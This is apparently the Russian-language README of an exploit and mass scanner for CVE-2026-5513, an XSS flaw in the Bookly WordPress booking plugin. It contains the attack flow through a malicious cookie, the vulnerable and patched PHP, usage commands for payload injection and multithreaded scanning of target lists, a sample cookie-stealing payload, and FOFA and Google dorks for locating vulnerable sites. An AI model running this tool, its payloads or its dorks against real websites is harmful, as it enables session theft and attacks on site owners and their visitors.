Злоумышленник → Устанавливает вредоносную cookie (bookly-customer-full-name=<script>...</script>)
              → Посещает страницу с формой бронирования Bookly
              → Плагин считывает cookie, выводит значение без экранирования
              → XSS-нагрузка выполняется в контексте браузера жертвы

// УЯЗВИМЫЙ КОД — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name'];  // Нет санитизации
echo '<input type="text" value="' . $full_name . '" />';  // Нет экранирования

// ИСПРАВЛЕННЫЙ КОД — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';

 ✓ Автоматическое определение IP/домена (HTTP/HTTPS, общие порты, обнаружение перенаправлений)
 ✓ Обнаружение WordPress и плагина Bookly с проверкой версии
 ✓ Определение настройки cookie (анализ JS BooklyL10n + канареечное отражение)
 ✓ Многоконтекстное тестирование XSS (HTML, JavaScript, внедрение в атрибуты)
 ✓ Инъекция нагрузки с проверкой отражения
 ✓ Одна цель или массовое сканирование из файла
 ✓ Многопоточное сканирование (до 20 потоков)
 ✓ Поддержка прокси (Burp и др.)
 ✓ Автоматическое сохранение уязвимых результатов
 ✓ Интерактивное меню + режим командной строки

pip install requests colorama

# Проверка одной цели
python CVE-2026-5513.py -u https://target.com -v

# Проверка одного IP (автоматическое определение портов + перенаправлений)
python CVE-2026-5513.py -u 167.99.0.203 -v

# Проверка + инъекция XSS-нагрузки
python CVE-2026-5513.py -u https://target.com --inject -v

# Пользовательская XSS-нагрузка
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"

# Массовое сканирование из файла
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt

# С прокси Burp
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080

python CVE-2026-5513.py

https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080

ШАГ 0 → Определение цели (IP/домен → разрешение базового URL, обнаружение перенаправлений)
ШАГ 1 → Обнаружение плагина Bookly (readme.txt, директория плагина, ресурсы, проверка версии)
ШАГ 2 → Проверка настройки cookie (анализ JS BooklyL10n + канареечный тест отражения)
ШАГ 3 → Тестирование отражения XSS (контекст HTML, контекст JS, контекст атрибута)
ШАГ 4 → Инъекция нагрузки (если включён режим --inject, проверка отражения)

# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"

# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"